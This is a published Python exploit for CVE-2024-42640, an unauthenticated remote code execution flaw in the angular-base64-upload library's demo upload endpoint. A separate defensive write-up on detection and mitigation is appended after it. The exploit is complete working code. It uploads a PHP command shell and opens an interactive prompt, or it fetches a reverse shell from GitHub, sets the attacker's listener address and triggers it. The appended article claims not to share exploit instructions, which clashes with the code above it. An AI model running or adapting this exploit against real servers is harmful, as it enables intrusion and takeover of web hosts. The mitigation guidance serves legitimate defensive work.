Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
import re
import subprocess
import requests
import sys
import os
import uuid
import base64
import cmd
from urllib.parse import urlparse
def banner():
print('''
\033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
\033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
https://github.com/rvizx/\033[0mCVE-2024-42640
''')
def check_version(target):
response = requests.get(target)
first_line = response.text.splitlines()[0].strip()
match = re.search(r'v0\.(1|0)\.(\d+)', first_line)
if match:
version = match.group(0)
x_value = int(match.group(1))
if x_value <= 20:
print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}")
else:
print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}")
exit()
else:
print("\033[91m[err]:\033[0m couldn't find the version")
def enum(url):
print("\033[94m[inf]:\033[0m enumerating... ")
target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js"
r = requests.head(target)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m target is using bower_components")
check_version(target)
else:
print("\033[94m[inf]:\033[0m target is not using bower_components")
target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js"
r = requests.head(target)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m target is using node_modules")
check_version(target)
else:
print("\033[94m[inf]:\033[0m target is not using node_modules")
print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js")
print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
print("\033[91m[err]:\033[0m exiting..")
exit()
exploit(target)
class CmdShell(cmd.Cmd):
username = subprocess.check_output("whoami", shell=True).strip().decode()
domain = urlparse(sys.argv[1]).netloc
prompt = f"{username}@{domain} > "
def __init__(self, payload_url):
super().__init__()
self.payload_url = payload_url
def default(self, line):
url = f"{self.payload_url}?cmd={line}"
try:
response = requests.get(url)
print(response.text)
except requests.RequestException as e:
print("\033[91m[err]:\033[0m {e}")
def do_exit(self, arg):
return True
def exploit(target):
print(f"[dbg]: {target}")
target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php")
print(f"[dbg]: {target_server_url}")
payload_name = str(uuid.uuid4())+".php"
if len(sys.argv) > 2:
if sys.argv[2] == "--rev":
revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
port = input("\033[93m[ins]:\033[0m enter listenter port: ")
print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
input("\033[93m[ins]:\033[0m press enter to continue...")
print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
response = requests.get(revshell)
if response.status_code == 200:
payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input
with open(payload_name, "w") as file:
file.write(payload)
payload_url = upload_to_server(payload_name,target_server_url)
print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
r = requests.get(payload_url)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m process complete!")
else:
print("\033[91m[err]:\033[0m something went wrong!")
print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
else:
print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
print("\033[91m[err]:\033[0m exiting..")
exit()
else:
payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>"
with open(payload_name, "w") as file:
file.write(payload)
payload_url = upload_to_server(payload_name,target_server_url)
cmd_shell = CmdShell(payload_url)
cmd_shell.cmdloop()
def upload_to_server(payload_name,target_server_url):
try:
with open(payload_name, 'rb') as file:
file_content = file.read()
base64_payload = base64.b64encode(file_content).decode('utf-8')
headers = {
'Content-Type': 'application/json',
}
json_data = {
'base64': base64_payload,
'filename': payload_name,
}
response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
updemo_endpoint = f"uploads/{payload_name}"
print(f"[dbg]: {updemo_endpoint}")
payload_url = target_server_url.replace("server.php",updemo_endpoint)
print(f"[dbg]: {payload_url}")
if response.status_code == 200:
print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}")
return payload_url
else:
print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server")
exit()
except Exception as e:
print(f"\033[91m[err]:\033[0m {e}")
exit()
if __name__ == "__main__":
try:
banner()
if len(sys.argv) > 1:
url = sys.argv[1]
print(f"\033[94m[inf]:\033[0m target: {url}")
enum(url)
else:
print("[usg]: ./exploit.py <target-url>")
print("[usg]: ./exploit.py <target-url> --rev")
exit()
except Exception as e:
print(f"\033[91m[err]:\033[0m {e}")
exit() Angular-Base64-Upload (pre‑v0.1.21) — CVE‑2024‑42640: Unauthenticated RCE (Analysis & Mitigation)
This article explains the nature, impact, detection, and mitigation of CVE‑2024‑42640 — a critical unauthenticated remote code execution (RCE) vulnerability affecting applications that ship or expose the demo/server-side components of the angular-base64-upload package prior to v0.1.21. The intent is defensive: to help developers, incident responders, and maintainers remediate, harden, and detect abuse without sharing exploit instructions.
Executive summary
- CVE: CVE‑2024‑42640
- Affected: Applications that include the angular-base64-upload package (demo/server.php or other insecure demo endpoints) prior to v0.1.21
- Impact: Critical (unauthenticated RCE) if application exposes an insecure server-side upload endpoint that decodes base64 payloads and writes them under a web-accessible directory without validation.
- Remediation: Upgrade to v0.1.21, remove or secure demo server scripts, validate and sanitize uploads, and disallow executable content in upload directories.
Background and root cause
angular-base64-upload is a client-side Angular helper to base64‑encode file content prior to upload. The library itself is not an automatic back-end; however, some distributions and project templates include a demo server script (commonly server.php or similar) that accepts JSON containing a base64 payload and filename, decodes it, and writes it to an uploads directory.
The core issue that led to CVE‑2024‑42640 is a combination of:
- Insecure demo server code that accepts arbitrary filenames and arbitrary file content encoded in base64.
- Writing files directly into a web‑accessible directory without sanitization, type checks, or execution prevention.
- Lack of access control or authentication on the demo endpoint.
When present on a server, an attacker can upload a web‑executable file (for example, a PHP file on a PHP host) and then invoke it via HTTP, resulting in remote code execution.
Who is at risk
- Applications that served or deployed demo server scripts (especially the demo/server.php) from the library without modification.
- Static deployments that left bower_components or node_modules/ package folders exposed via the web server.
- Systems that allow uploads which are written into web‑accessible locations and executed by the web runtime.
High‑level attack impact (defensive view)
If exploited on a vulnerable host, an attacker may achieve arbitrary remote code execution in the context of the web server, which can lead to full system compromise depending on server privileges, exposed credentials, and network segmentation.
Detection and indicators of compromise
- Presence of library files under exposed paths such as /bower_components/angular-base64-upload/ or /node_modules/angular-base64-upload/ on the web root.
- Existence of demo server endpoints such as demo/server.php (or other shipped example upload handlers) anywhere under the web document root.
- Unexpected new files under an uploads directory (e.g., /uploads/*.php), especially with odd filenames or timestamps concurrent with suspicious requests.
- Web server logs showing POST requests with JSON bodies containing base64 fields to upload endpoints.
- Unusual HTTP GET requests to newly created files under uploads directories.
Simple defensive scan technique
As part of inventorying risk, search your webroot for the demo artifacts and uploaded files. Example (defensive) file search patterns:
find /var/www -type f -name "angular-base64-upload.min.js"
grep -R "demo/server.php" /var/www || true
find /var/www -type f -path "*/uploads/*" -mtime -7
Explanation: The commands above are examples defenders can use to locate potentially exposed library files, demo server scripts, and recently created files in uploads directories. Do not execute unknown uploaded files; use offline analysis and backups.
Mitigation and remediation
Mitigation should be applied in multiple layers: remove the vulnerable demo code, harden server configuration to prevent execution, implement server‑side validation, and upgrade the library.
- Upgrade: Update angular-base64-upload to v0.1.21 or later where the insecure demo usage has been addressed. Upgrading the dependency is the primary corrective action.
- Remove demo server code: Delete any demo/server.php or example upload handlers that were not intended for production.
- Harden server upload directories: Prevent execution of scripts from upload directories (see sample webserver configs below).
- Server‑side validation: Do not rely on client-side checks. Validate content type and extension, restrict allowed file types, sanitize filenames, and store uploads outside of webroot or with non‑executable permissions.
- Least privilege: Ensure the web server user has minimal write permissions and cannot execute arbitrary binaries from writable directories.
- Monitoring: Add logging and alerting for POSTs to upload endpoints, creation of executable filetypes in uploads, and new files in web‑accessible locations.
Prevent execution in upload directories — examples
Below are defensive examples showing how to configure common web servers to deny execution of PHP files in the uploads directory. These examples block interpretation of scripts — they do not remove the need to validate uploads.
Nginx location block to disable PHP execution for an uploads directory (place in server block):
location ^~ /uploads/ {
# Serve files statically from the uploads directory
alias /var/www/example.com/uploads/;
# Do not pass PHP to PHP-FPM from this location
try_files $uri =404;
# Deny access to files that look like scripts (optional)
location ~ \.php$ {
deny all;
}
}
Explanation: The Nginx config serves static files from the uploads directory while explicitly denying PHP file execution. This reduces the risk of an uploaded PHP file being interpreted by the server.
Apache .htaccess example to disable PHP execution in uploads directory:
<FilesMatch "\.(php|php5|phtml)$">
Require all denied
</FilesMatch>
# Alternatively, disable the PHP handler for this directory (depends on host configuration)
RemoveHandler .php .phtml .php5
RemoveType .php .phtml .php5
Explanation: The directives deny requests for files matching PHP extensions or remove PHP handlers, preventing Apache from executing uploaded PHP files in that directory. Verify host environment and module support before deployment.
Secure server‑side upload handler example (PHP, defensive)
<?php
// Secure, example-only upload handler (defensive patterns):
// - Decode base64 payload
// - Allow only specific extensions and MIME types
// - Normalize & sanitize filename
// - Store files outside webroot or with randomized names
// - Set safe permissions
$uploadDir = '/var/uploads/'; // place outside document root when possible
$allowedExt = ['jpg','jpeg','png','gif','pdf']; // whitelist
$maxSizeBytes = 5 * 1024 * 1024; // 5 MB
$raw = file_get_contents('php://input');
$data = json_decode($raw, true);
if (!is_array($data) || empty($data['base64'])) {
http_response_code(400);
echo json_encode(['error'=>'invalid request']);
exit;
}
$filename = isset($data['filename']) ? basename($data['filename']) : 'upload';
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowedExt, true)) {
http_response_code(415);
echo json_encode(['error'=>'disallowed file type']);
exit;
}
$decoded = base64_decode($data['base64'], true);
if ($decoded === false || strlen($decoded) > $maxSizeBytes) {
http_response_code(400);
echo json_encode(['error'=>'invalid or too large payload']);
exit;
}
// Option: validate MIME type from content inspection (defensive)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->buffer($decoded);
$allowedMimes = ['image/jpeg','image/png','image/gif','application/pdf'];
if (!in_array($mime, $allowedMimes, true)) {
http_response_code(415);
echo json_encode(['error'=>'disallowed mime type']);
exit;
}
// Use randomized storage name to avoid execution via predictable path
$storedName = bin2hex(random_bytes(16)) . '.' . $ext;
$path = $uploadDir . $storedName;
// Ensure directory exists and is not web-executable
if (!is_dir($uploadDir) && !mkdir($uploadDir, 0750, true)) {
http_response_code(500);
echo json_encode(['error'=>'server error']);
exit;
}
if (file_put_contents($path, $decoded) === false) {
http_response_code(500);
echo json_encode(['error'=>'failed to store file']);
exit;
}
// Set restrictive permissions
chmod($path, 0640);
echo json_encode(['ok'=>true,'file'=>$storedName]);
?>
Explanation: This PHP example demonstrates secure practices: it decodes the base64 payload only after validating JSON input, sanitizes filenames, enforces a whitelist of extensions and MIME types, imposes a maximum size, stores files outside the webroot (or with randomized names), and sets restrictive permissions. It intentionally avoids returning a web‑accessible path to the uploaded file and avoids placing executable content under webroot.
Operational recommendations
- Inventory: Search codebase and deployments for demo scripts, exposed package folders, and upload endpoints. Remove any demo/example servers from production.
- Patch: Upgrade to angular-base64-upload v0.1.21 or later where relevant fixes and guidance are provided.
- Harden: Place uploads outside the document root or configure the web server to never execute code from upload directories.
- Monitor: Add alerts for creation of files with executable extensions under uploads and for HTTP requests to upload endpoints that contain base64 blobs.
- Post‑compromise steps: If compromise is suspected, perform full forensic investigation, rotate credentials used by the application, redeploy from known-good sources, and patch/secure the environment before reconnecting to networks.
Detection signatures and SIEM alerts (example)
- Alert on POST requests whose JSON payloads contain keys named "base64" or unusually long base64 fields.
- Alert on new files created under uploads with extensions matching server script types (e.g., .php, .pl, .py, .asp).
- Alert on GET requests to URLs under /uploads/ that return 200 and include scripting language markers.
References and resources
| Item | Notes |
|---|---|
| CVE‑2024‑42640 | Identifier for this vulnerability (refer to vendor advisories and CVE database for canonical details). |
| angular-base64-upload package | Check your projects for use and remove demo code from production deployments. |
Final notes
Vulnerabilities often arise from shipping demo/example code into production or exposing development artifacts to the public internet. The defensive actions above — inventorying, removing sample servers, upgrading dependencies, performing server‑side validation, and preventing execution in upload locations — substantially reduce the risk of similar issues in the future.